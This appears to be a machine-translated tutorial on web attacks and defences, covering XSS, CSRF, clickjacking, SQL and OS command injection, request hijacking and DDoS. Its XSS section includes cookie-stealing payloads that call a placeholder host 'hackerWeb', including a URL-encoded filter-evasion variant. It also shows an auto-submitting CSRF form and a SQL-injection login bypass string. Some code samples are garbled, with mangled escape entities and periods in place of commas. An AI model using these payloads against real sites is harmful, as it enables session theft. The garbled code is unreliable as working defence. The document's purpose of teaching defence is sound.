1. XSS Cross Site Scripting
attacks
1. Reflection – URL parameter injection
Scenario: Inducing logged users to click harmful links (more obvious)
Link content:
- Inject attack station scripts
http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>
- Short domain name forgery redirects to a url that has script injection
https://dwz.cm
http://hackerweb/hack.js will steal user login state information, such as document.cookie, send a request with cookie information to hackerWeb by using HTML elements such as IMG, so that the hacker background can obtain login state information
2. Storage – Injects script tags into the database
Scene:
Enter text with the attack script in the comments of the site (anywhere you can save the content), commit to the database, and execute the attack script when rendering again
harm
Lethality larger, equivalent to complete control of the site
- To get a cookie
document.cookie = "myweb:session=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0="
// Get the login state directly
Copy the code
- Send a request to get a logon cookie
var img = new Image()
img.src='http://hackerweb/img? c='+document.cookie
Copy the code
- Get page data
- Modifying front-end Logic
- Steal all front-end reachable data: user profiles, login passwords…
Defense (5 types)
1. Escape characters prevent script tags from being rendered unnecessarily
Angle brackets
/ / blacklist
function escape(str) {
str = str.replace(/&/g.'& ');
str = str.replace(/</g.'< ');
str = str.replace(/>/g.'> ');
str = str.replace(/"/g.'&quto; ');
str = str.replace(/'/g.'& # 39; ');
str = str.replace(/`/g.'the & # 96; ');
str = str.replace(/\//g.'/ ');
return str;
}
/ / white list
const xss = require('xss');
let html = xss('XSS Demo
');
// -> XSS Demo
< script> alert("xss"); < /script>
console.log(html);
Copy the code
2. To prevent cross-site scripting: set HTTP request header x-xss-protection
X-XSS-Protection report-uri
Ctx. set(' x-xss-protection ', 0) // disable XSS filtering
ctx.set('X-XSS-Protection'.1) // XSS is detected by default and the attack script is cleared
ctx.set('X-XSS-Protection'.'1; mode=block') // XSS detected, page loading forbidden
ctx.set('X-XSS-Protection'.'1; report=(Chromium only); ') // XSS detected, clear the page and send a violation report using the functionality of the CSP report-URI directive
Copy the code
Testing:
Attack the Url: http://Aweb/? from=
When the site finds a script in the request, it will not execute it. Error:
The XSS Auditor refused to execute a script in 'http://Aweb/? from=<script>src="http://hackerWeb/hack.js"></script>' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.
!!!!!!!!! But!!!!!! Disguise it! The following URL can still be attacked successfully:
http://Aweb/?from=%3Cscript%20src=%22http://hackerWeb/hack.js%22%3E%3C/script%3E
3. To prevent cross-site scripts, set the HTTP request header Content-security-policy CSP
Content Security Policy Content-security-policy
ctx.set('Content-Security-Policy'."default-src 'self'") // Only local resources are allowed to be loaded
ctx.set('Content-Security-Policy'."img-src https://*") // Only HTTPS images can be loaded
ctx.set('Content-Security-Policy'."child-src 'none'") // Frames from any source are not allowed to be loaded
ctx.set('Content-Security-Policy'."default-src 'self'; img-src https://*; child-src 'none';") // Multiple rules
Copy the code
CSP command:
- Default-src: Provide alternate fetch directives for other fetch directives.
- Style-src: Restrict cascading style sheet file sources
- Script-src: limits the source address of JavaScript.
- Connect-src: Limits the urls that can be loaded through the script interface.
- Img-src: limits the source addresses of images and ICONS
- Child-src: Defines a legitimate source address for Web workers and other embedded browser content (for example, content used and loaded into a page).
- Frame-src: Sets the source address of inline content that is allowed to be loaded with similar and tags.
- Worker-src: limits the origin of worker, SharedWorker, or ServiceWorker feet.
- More: developer.mozilla.org/zh-CN/docs/…
An error occurs when content that does not comply with the security policy is detected:
Refused to load the script 'http://hackerWeb/hack.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.
Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-/sz5i86yQrlPk/hMZhdtTKsWxRVMISnvj5RnrlV7w8E='), or a nonce ('nonce-... ') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
Refused to load the image 'http://hackerWeb/img? C = _ga = GA1.1.557044541.1556580180; %20ts_uid=6282400925; %20QQLivePCVer=50190525; % 20 _pk_id. 1.1 FFF = 2 b81c7431dcf3ca2. 1554538852.13.1564828889.1564827023.; %20kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0=' because it violates the following Content Security Policy directive: "img-src https://*".
4. Prevent cookie theft: Set the corresponding request header set-cookie HttpOnly
Preventing cookies from being stolen, unable to obtain information through Document. cookie, browser will still automatically bring cookies in the request is the most effective defense means to prevent XSS attacks to steal user cookies!
// Set cookies to HttpOnly
response.addHeader('Set-Cookie'.'uid=112; Path=/; HttpOnly')
Copy the code
2. CSRF Cross Site Request Forgery
CSRF uses a user’s logged-in identity to perform illegal operations in the user’s name without the user’s knowledge
attacks
Scene:
- The user has logged in to site A and logged the cookie locally
- Without logging out of site A (that is, when the cookie is in effect), the user visits site B, which is A lure hazard provided by A malicious attacker (site B requires access to site A).
- Site A does not do any CSRF defense
Simulated send request (forged request), because ordinary users have logged in, simulated request will bring login state cookie, so you can operate (attack) not directly obtain cookies, using browser behavior, using login state
Document. write(' <form name="form" action="http://Aweb/updateText" method="post" target=" CSRF "> <input type="text" name="text" value="CSRF comment.. /> </form> ') var iframe = document.createElement('iframe') document.body.appendChild(iframe) setTimeout(function() { document.querySelector('form').submit(); },1000) </script>Copy the code
harm
- Use the user login state
- Attack when the user is unaware
- Complete the business request
- Steal users’ funds (transfer, consumption)
- Pretend to be user post back pot
- Damage website reputation
defense
1. Referer Check
Verify that the Referer field of the Header is the address of this site
Disadvantages: Valid only for Http, Https does not send referer
2. The verification code
The request requires captcha assistance
Disadvantages: user experience is not good, more trouble
Typically only used for critical requests
3. Hash the Cookie value
When an attacker visits trusted website A, although the browser can bring cookies in the request, website A can not only verify the user’s identity through cookies, but also verify the pseudo-random number generated when sending content to the user. Double authentication, this pseudo-random number cannot be automatically added to the cookie by the browser mechanism. It needs to be added to the script so that a CSRF attacker cannot exploit the pseudorandom number and therefore cannot be authenticated for most requests
3. ClickJacking
attacks
Neither steal cookies nor use cookies to visually trick users into actively operating
Scene:
Embed the frame rendering site A on the attack site and set it as transparent. Design some buttons or input on the attack site to precisely align with the buttons or input of site A. When users operate, they actually do not know what they are doing on site A, so as to deceive users
harm
- Attacks are performed when users are unaware of the attacks
defense
1. X-Frame-Options
X-Frame-Options
ctx.set('X-Frame-Options'.'deny') // Indicates that the page is not allowed to be displayed in frame, even if nested within pages of the same domain name.
ctx.set('X-Frame-Options'.'sameorigin') // Indicates that the page can be displayed in frame of the same domain name page.
ctx.set('X-Frame-Options'.'allow-from: https://example.com/') // indicates that the page can be displayed in the frame of the specified source. (Chrome does not support Firefox)
Copy the code
2. Js itself destroys itself by loading content in frame mode
It’s kind of a primitive solution
if(self ! == top) {// Load from frame
self.document.body.style.display = 'NONE';// Hide or delete the body content
self.document.body.innerHTML = ' '
}
Copy the code
4. SQL injection
Injection for the database
attacks
Scenario: Enter a special character string and pass the background SQL query string to ensure that the query result is true. Password Enter 1′ or ‘1’ = ‘1’ When the background queries the password, the result ‘1’ = ‘1’ is returned, which is true
harm
- False login
- .
defense
1. Data is transmitted through parameters rather than string concatenation
You are advised to use the parameterized query interface provided by the database for all query statements. Parameterized statements use parameters instead of embedding user input variables into SQL statements. That is, do not directly join SQL statements. For example, in the mysqlJS library’s query method in Node.js? Placeholder parameters.
2. Verify data
The back-end code checks that the input data is in the expected format and strictly restricts the types of variables, for example by using regular expressions to do some matching
3. Strict permission management
Strictly restrict the operation permissions of the Web application database, and provide the user with the minimum permissions that can only meet the requirements of the user’s work, so as to minimize the harm of injection attacks on the database
4. Escape special characters
Special characters (‘,”, <,>,&,*,; Etc.) for escape processing, or code conversion. Almost all back-end languages have ways to escape strings, such as the LoDash. _escapeHTMLchar library for LoDash.
5. OS command injection
attacks
OS command injection for the operating system is similar to SQL injection, except that SQL injection is for the database and OS command injection is for the operating system. OS command injection attacks use Web applications to execute illegal operating system commands to attack. Wherever Shell functions can be called there is a risk of attack. If the Shell is called inadvertently, you can execute an illegal command inserted.
Scene:
System Command Injection
harm
- Deleting files maliciously
- Malicious download execution program
- .
defense
Similar to SQL injection defense
6. Request hijacking (DNS hijacking HTTP hijacking)
DNS hijacking
As the name implies, the DNS server (the steps of DNS resolution) is tampered with, modifying the result of domain name resolution so that the IP address accessed is not the expected IP address
HTTP hijacked
Carrier hijacking defense: At this point, you may have to upgrade HTTPS
7. DDOS (distributed denial of service)
DDOS attack Defense tutorial
Not one attack, but a general category of attacks. It has dozens of types, and new attacks are being invented all the time. Website runs each link, can be the target of attack. As long as a link break, so that the whole process can not run, it has reached the purpose of paralyzed service
Common Attack Modes
SYN Flood
This attack exploits the TCP handshake by sending a large number of TCP” initial connection request “SYN packets to the target with a spurious source IP address. The target machine responds to each connection request and then waits for the last step in the handshake, which never happens, depleting the target resources in the process.
HTTP Flood
This attack is similar to repeatedly hitting the refresh in a Web browser on multiple different computers at the same time – flooding the server with HTTP requests, causing a denial of service.
defense
1. Back up your website
Backup sites do not have to be fully functional, if you can achieve full static browsing, can meet the needs. At a minimum, it should be possible to display an announcement telling users that something is wrong with the site and that it is being fixed.
2 HTTP request interception high anti-IP – reliable carrier multiple Docker
Hardware Server Firewall
3. Bandwidth expansion + CDN
Raising the cost of crime